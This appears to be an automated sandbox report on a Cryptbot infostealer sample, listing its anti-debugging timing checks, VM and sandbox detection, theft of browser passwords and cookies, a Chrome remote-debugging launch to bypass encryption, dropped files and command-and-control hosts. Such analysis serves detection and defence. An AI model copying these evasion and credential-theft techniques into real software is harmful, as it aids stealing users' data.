Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A057E second address: 78A05E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov cx, dx 0x00000006 pushfd 0x00000007 jmp 00007F38E4FF50BDh 0x0000000c sbb ecx, 45EF2DC6h 0x00000012 jmp 00007F38E4FF50C1h 0x00000017 popfd 0x00000018 popad 0x00000019 pop edx 0x0000001a pop eax 0x0000001b sub ecx, ecx 0x0000001d jmp 00007F38E4FF50C7h 0x00000022 xchg eax, edi 0x00000023 pushad 0x00000024 mov ebx, esi 0x00000026 mov dh, ch 0x00000028 popad 0x00000029 push eax 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007F38E4FF50C9h 0x00000031 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A05E9 second address: 78A0644 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007F38E4FECF3Dh 0x0000000b xor si, 49E6h 0x00000010 jmp 00007F38E4FECF41h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 xchg eax, edi 0x0000001a jmp 00007F38E4FECF3Eh 0x0000001f mov eax, 00000001h 0x00000024 jmp 00007F38E4FECF40h 0x00000029 lock cmpxchg dword ptr [esi], ecx 0x0000002d pushad 0x0000002e push eax 0x0000002f push edx 0x00000030 movzx eax, bx 0x00000033 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0644 second address: 78A0741 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007F38E4FF50C9h 0x00000008 sub cl, 00000056h 0x0000000b jmp 00007F38E4FF50C1h 0x00000010 popfd 0x00000011 pop edx 0x00000012 pop eax 0x00000013 mov edx, esi 0x00000015 popad 0x00000016 mov ecx, eax 0x00000018 pushad 0x00000019 pushfd 0x0000001a jmp 00007F38E4FF50C8h 0x0000001f add cx, 04A8h 0x00000024 jmp 00007F38E4FF50BBh 0x00000029 popfd 0x0000002a mov bx, ax 0x0000002d popad 0x0000002e cmp ecx, 01h 0x00000031 jmp 00007F38E4FF50C2h 0x00000036 jne 00007F3954B86FC4h 0x0000003c jmp 00007F38E4FF50C0h 0x00000041 pop edi 0x00000042 jmp 00007F38E4FF50C0h 0x00000047 pop esi 0x00000048 pushad 0x00000049 mov di, cx 0x0000004c jmp 00007F38E4FF50BAh 0x00000051 popad 0x00000052 pop ebx 0x00000053 pushad 0x00000054 pushfd 0x00000055 jmp 00007F38E4FF50BEh 0x0000005a and si, EBC8h 0x0000005f jmp 00007F38E4FF50BBh 0x00000064 popfd 0x00000065 jmp 00007F38E4FF50C8h 0x0000006a popad 0x0000006b pop ebp 0x0000006c push eax 0x0000006d push edx 0x0000006e push eax 0x0000006f push edx 0x00000070 jmp 00007F38E4FF50BAh 0x00000075 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0741 second address: 78A0750 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0750 second address: 78A0756 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 78A0756 second address: 78A075A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860BB6 second address: 7860BBC instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860BBC second address: 7860BEE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF40h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov dword ptr [esp], ecx 0x0000000c jmp 00007F38E4FECF40h 0x00000011 push 00000000h 0x00000013 push eax 0x00000014 push edx 0x00000015 pushad 0x00000016 movsx edi, si 0x00000019 pushad 0x0000001a popad 0x0000001b popad 0x0000001c rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860BEE second address: 7860C25 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50C5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push 00000000h 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007F38E4FF50C8h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860C25 second address: 7860C34 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF3Bh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860C6D second address: 7860C71 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860C71 second address: 7860C8E instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF49h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860C8E second address: 7860C94 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860C94 second address: 7860C98 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860A34 second address: 7860A3A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860A3A second address: 7860A6A instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FECF43h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push eax 0x0000000d push edx 0x0000000e jmp 00007F38E4FECF44h 0x00000013 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860A6A second address: 7860A9D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007F38E4FF50BBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ebp 0x0000000a pushad 0x0000000b push esi 0x0000000c mov ax, dx 0x0000000f pop edi 0x00000010 mov bx, si 0x00000013 popad 0x00000014 mov ebp, esp 0x00000016 push eax 0x00000017 push edx 0x00000018 jmp 00007F38E4FF50C5h 0x0000001d rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860A9D second address: 7860AA3 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860AA3 second address: 7860AA7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860827 second address: 7860858 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushfd 0x00000004 jmp 00007F38E4FECF47h 0x00000009 jmp 00007F38E4FECF43h 0x0000000e popfd 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 7860858 second address: 786086F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop edx 0x00000006 pop eax 0x00000007 mov dword ptr [esp], ebp 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007F38E4FF50BBh 0x00000011 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 786086F second address: 7860887 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007F38E4FECF44h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\6dPpCeWDig.exe RDTSC instruction interceptor: First address: 77F02B0 second address: 77F02B6 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Tries to evade debugger and weak emulator (self modifying code)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Special instruction interceptor: First address: 14996EC instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Special instruction interceptor: First address: 1498DB1 instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Special instruction interceptor: First address: 12ED3AE instructions caused by: Self-modifying code
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Special instruction interceptor: First address: 1523806 instructions caused by: Self-modifying code
Contains capabilities to detect virtual machines
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Registry key queried: HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\Control\Class\{4d36e968-e325-11ce-bfc1-08002be10318}\0000 name: DriverDesc Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: SystemBiosVersion Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Registry key queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System name: VideoBiosVersion Jump to behavior
Found a high number of Window / User specific system calls (may be a loop to detect user behavior)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window / User API: threadDelayed 1633 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window / User API: threadDelayed 1745 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window / User API: threadDelayed 1663 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Window / User API: threadDelayed 1616 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 1862 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe Window / User API: threadDelayed 8137 Jump to behavior
Found large amount of non-executed APIs
Source: C:\Users\user\AppData\Local\Temp\service123.exe API coverage: 1.0 %
May sleep (evasive loops) to hinder dynamic analysis
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6780 Thread sleep count: 43 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6780 Thread sleep time: -86043s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 3660 Thread sleep count: 47 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 3660 Thread sleep time: -94047s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 7092 Thread sleep count: 65 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 7092 Thread sleep time: -130065s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 7104 Thread sleep count: 1633 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 7104 Thread sleep time: -3267633s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6988 Thread sleep count: 1745 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6988 Thread sleep time: -3491745s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6964 Thread sleep count: 1663 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 6964 Thread sleep time: -3327663s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 3772 Thread sleep time: -32000s >= -30000s Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 4472 Thread sleep count: 1616 > 30 Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe TID: 4472 Thread sleep time: -3233616s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7952 Thread sleep count: 1862 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7952 Thread sleep time: -186200s >= -30000s Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7952 Thread sleep count: 8137 > 30 Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\service123.exe TID: 7952 Thread sleep time: -813700s >= -30000s Jump to behavior
Sample execution stops while process was sleeping (likely an evasion)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Users\user\AppData\Local\Temp\service123.exe Last function: Thread delayed
Source: C:\Windows\System32\conhost.exe Last function: Thread delayed
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File Volume queried: C:\ FullSizeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\.ms-ad\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\ Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\ Jump to behavior
Source: 6dPpCeWDig.exe, 00000000.00000003.1488621013.00000000018A1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllV
Source: Amcache.hve.14.dr Binary or memory string: VMware
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual USB Mouse
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin
Source: Amcache.hve.14.dr Binary or memory string: VMware-42 27 c5 9a 47 85 d6 84-53 49 ec ec 87 a6 6d 67
Source: Amcache.hve.14.dr Binary or memory string: VMware, Inc.
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1hbin@
Source: Amcache.hve.14.dr Binary or memory string: c:\windows\system32\driverstore\filerepository\vmci.inf_amd64_68ed49469341f563
Source: Amcache.hve.14.dr Binary or memory string: Ascsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: .Z$c:/windows/system32/drivers/vmci.sys
Source: 6dPpCeWDig.exe, 00000000.00000003.1490569697.00000000070E1000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Y\MACHINE\SYSTEM\ControlSet001\Services\VBoxSFlQ=qR
Source: Amcache.hve.14.dr Binary or memory string: :scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSINTERNALSNum_processorNum_ramnameallfreedriversNum_displaysresolution_xresolution_y\*recent_filesprocessesuptime_minutesC:\Windows\System32\VBox*.dll01vbox_firstSYSTEM\ControlSet001\Services\VBoxSFvbox_secondC:\USERS\PUBLIC\public_checkWINDBG.EXEdbgwireshark.exeprocmon.exex64dbg.exeida.exedbg_secdbg_thirdyadroinstalled_appsSOFTWARE\Microsoft\Windows\CurrentVersion\UninstallSOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Uninstall%d%s\%sDisplayNameapp_nameindexCreateToolhelp32Snapshot failed.
Source: Amcache.hve.14.dr Binary or memory string: pci\ven_15ad&dev_0740&subsys_074015ad,pci\ven_15ad&dev_0740,root\vmwvmcihostdev
Source: Amcache.hve.14.dr Binary or memory string: c:/windows/system32/drivers/vmci.sys
Source: Amcache.hve.14.dr Binary or memory string: scsi/cdrom&ven_necvmwar&prod_vmware_sata_cd00/4&224f42ef&0&000000
Source: Amcache.hve.14.dr Binary or memory string: vmci.sys
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: SYSTEM\ControlSet001\Services\VBoxSF
Source: Amcache.hve.14.dr Binary or memory string: vmci.syshbin`
Source: Amcache.hve.14.dr Binary or memory string: \driver\vmci,\driver\pci
Source: Amcache.hve.14.dr Binary or memory string: scsi/disk&ven_vmware&prod_virtual_disk/4&1656f219&0&000000
Source: Amcache.hve.14.dr Binary or memory string: VMware20,1
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Generation Counter
Source: Amcache.hve.14.dr Binary or memory string: NECVMWar VMware SATA CD00
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual disk SCSI Disk Device
Source: Amcache.hve.14.dr Binary or memory string: scsi\cdromnecvmwarvmware_sata_cd001.00,scsi\cdromnecvmwarvmware_sata_cd00,scsi\cdromnecvmwar,scsi\necvmwarvmware_sata_cd001,necvmwarvmware_sata_cd001,gencdrom
Source: Amcache.hve.14.dr Binary or memory string: scsi\diskvmware__virtual_disk____2.0_,scsi\diskvmware__virtual_disk____,scsi\diskvmware__,scsi\vmware__virtual_disk____2,vmware__virtual_disk____2,gendisk
Source: Amcache.hve.14.dr Binary or memory string: Microsoft Hyper-V Virtualization Infrastructure Driver
Source: Amcache.hve.14.dr Binary or memory string: VMware PCI VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware VMCI Bus Device
Source: Amcache.hve.14.dr Binary or memory string: VMware Virtual RAM
Source: Amcache.hve.14.dr Binary or memory string: BiosVendor:VMware, Inc.,BiosVersion:VMW201.00V.20829224.B64.2211211842,BiosReleaseDate:11/21/2022,BiosMajorRelease:0xff,BiosMinorRelease:0xff,SystemManufacturer:VMware, Inc.,SystemProduct:VMware20,1,SystemFamily:,SystemSKUNumber:,BaseboardManufacturer:,BaseboardProduct:,BaseboardVersion:,EnclosureType:0x1
Source: chrome.exe, 00000003.00000002.1868175232.0000020F0AEA8000.00000004.00000020.00020000.00000000.sdmp Binary or memory string: Hyper-V RAW%SystemRoot%\system32\mswsock.dllpp
Source: Amcache.hve.14.dr Binary or memory string: vmci.inf_amd64_68ed49469341f563
Source: C:\Users\user\Desktop\6dPpCeWDig.exe System information queried: ModuleInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process information queried: ProcessInformation Jump to behavior

Anti Debugging
barindex
Hides threads from debuggers
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Thread information set: HideFromDebugger Jump to behavior
Tries to detect sandboxes and other dynamic analysis tools (window names)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: regmonclass
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: gbdyllo
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: procmon_window_class
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: ollydbg
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: filemonclass
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Open window title or class name: file monitor - sysinternals: www.sysinternals.com
Checks for debuggers (devices)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: NTICE
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: SICE
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: SIWVID
Checks if the current process is being debugged
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process queried: DebugPort Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process queried: DebugPort Jump to behavior
Contains functionality to dynamically determine API calls
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE8230 LoadLibraryA,GetProcAddress,FreeLibrary,GetLastError, 9_2_00AE8230
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE116C Sleep,Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm,GetStartupInfoA,_cexit,_initterm,exit, 9_2_00AE116C
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE11A3 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00AE11A3
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE1160 Sleep,SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv, 9_2_00AE1160
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_00AE13C9 SetUnhandledExceptionFilter,__p__acmdln,malloc,strlen,malloc,memcpy,__initenv,_amsg_exit,_initterm, 9_2_00AE13C9
Contains functionality to query CPU information (cpuid)
Source: C:\Users\user\AppData\Local\Temp\service123.exe Code function: 9_2_6C7484D0 cpuid 9_2_6C7484D0
Queries information about the installed CPU (vendor, model number etc)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0 Jump to behavior
Queries the volume information (name, serial number etc) of a device
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Queries volume information: C:\Windows\System32\drivers\etc\hosts VolumeInformation Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid Jump to behavior
AV process strings found (often used to terminate AV products)
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: procmon.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23080.2006-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: msmpeng.exe
Source: 6dPpCeWDig.exe, 00000000.00000003.1458243412.0000000007B20000.00000004.00001000.00020000.00000000.sdmp Binary or memory string: wireshark.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\program files\windows defender\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: c:\programdata\microsoft\windows defender\platform\4.18.23090.2008-0\msmpeng.exe
Source: Amcache.hve.14.dr Binary or memory string: MsMpEng.exe

Stealing of Sensitive Information
barindex
Yara detected Clipboard Hijacker
Source: Yara match File source: 9.2.service123.exe.6c6c0000.1.unpack, type: UNPACKEDPE
Source: Yara match File source: Process Memory Space: service123.exe PID: 7948, type: MEMORYSTR
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
Leaks process information
Source: global traffic TCP traffic: 192.168.2.8:49706 -> 185.121.15.192:80
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\24a4ohrz.default-release\key4.db Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\Desktop\6dPpCeWDig.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior

Remote Access Functionality
barindex
Attempt to bypass Chrome Application-Bound Encryption
Source: C:\Users\user\Desktop\6dPpCeWDig.exe Process created: C:\Program Files\Google\Chrome\Application\chrome.exe "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9222 --profile-directory="Default"
Yara detected Cryptbot
Source: Yara match File source: dump.pcap, type: PCAP
windows-stand
Hide Legend

Legend:

  • Process
  • Signature
  • Created File
  • DNS/IP Info
  • Is Dropped
  • Is Windows Process
  • Number of created Registry Values
  • Number of created Files
  • Visual Basic
  • Delphi
  • Java
  • .Net C# or VB.NET
  • C, C++ or other language
  • Is malicious
  • Internet
behaviorgraph top1 signatures2 2 Behavior Graph ID: 1579775 Sample: 6dPpCeWDig.exe Startdate: 23/12/2024 Architecture: WINDOWS Score: 100 50 Suricata IDS alerts for network traffic 2->50 52 Found malware configuration 2->52 54 Antivirus / Scanner detection for submitted sample 2->54 56 9 other signatures 2->56 7 6dPpCeWDig.exe 5 3 2->7         started        12 service123.exe 2->12         started        14 service123.exe 2->14         started        16 2 other processes 2->16 process3 dnsIp4 40 twentytk20ht.top 185.121.15.192, 49706, 49707, 49710 REDSERVICIOES Spain 7->40 42 httpbin.org 34.226.108.155, 443, 49705 AMAZON-AESUS United States 7->42 44 2 other IPs or domains 7->44 36 C:\Users\user\AppData\...\service123.exe, PE32 7->36 dropped 38 C:\Users\user\...LLRGATenShKoyKeRtXA.dll, PE32 7->38 dropped 62 Attempt to bypass Chrome Application-Bound Encryption 7->62 64 Tries to detect sandboxes and other dynamic analysis tools (window names) 7->64 66 Tries to detect sandboxes and other dynamic analysis tools (process name or module or function) 7->66 68 8 other signatures 7->68 18 service123.exe 7->18         started        21 WerFault.exe 19 16 7->21         started        24 chrome.exe 7->24         started        27 schtasks.exe 1 7->27         started        file5 signatures6 process7 dnsIp8 58 Found evasive API chain (may stop execution after checking mutex) 18->58 60 Found stalling execution ending in API Sleep call 18->60 34 C:\ProgramData\Microsoft\...\Report.wer, Unicode 21->34 dropped 46 239.255.255.250 unknown Reserved 24->46 29 chrome.exe 24->29         started        32 conhost.exe 27->32         started        file9 signatures10 process11 dnsIp12 48 www.google.com 142.250.181.132, 443, 49715, 49719 GOOGLEUS United States 29->48
  • No. of IPs < 25%
  • 25% < No. of IPs < 50%
  • 50% < No. of IPs < 75%
  • 75% < No. of IPs

Contacted Public IPs

IP Domain Country Flag ASN ASN Name Malicious
185.121.15.192
 home.twentytk20ht.top Spain
207046 REDSERVICIOES false
34.226.108.155
 httpbin.org United States
14618 AMAZON-AESUS false
239.255.255.250
 unknown Reserved
unknown unknown false
142.250.181.132
 www.google.com United States
15169 GOOGLEUS false

Private

IP
127.0.0.1

Contacted Domains

Name IP Active
www.google.com 142.250.181.132 true
home.twentytk20ht.top 185.121.15.192 true
twentytk20ht.top 185.121.15.192 true
httpbin.org 34.226.108.155 true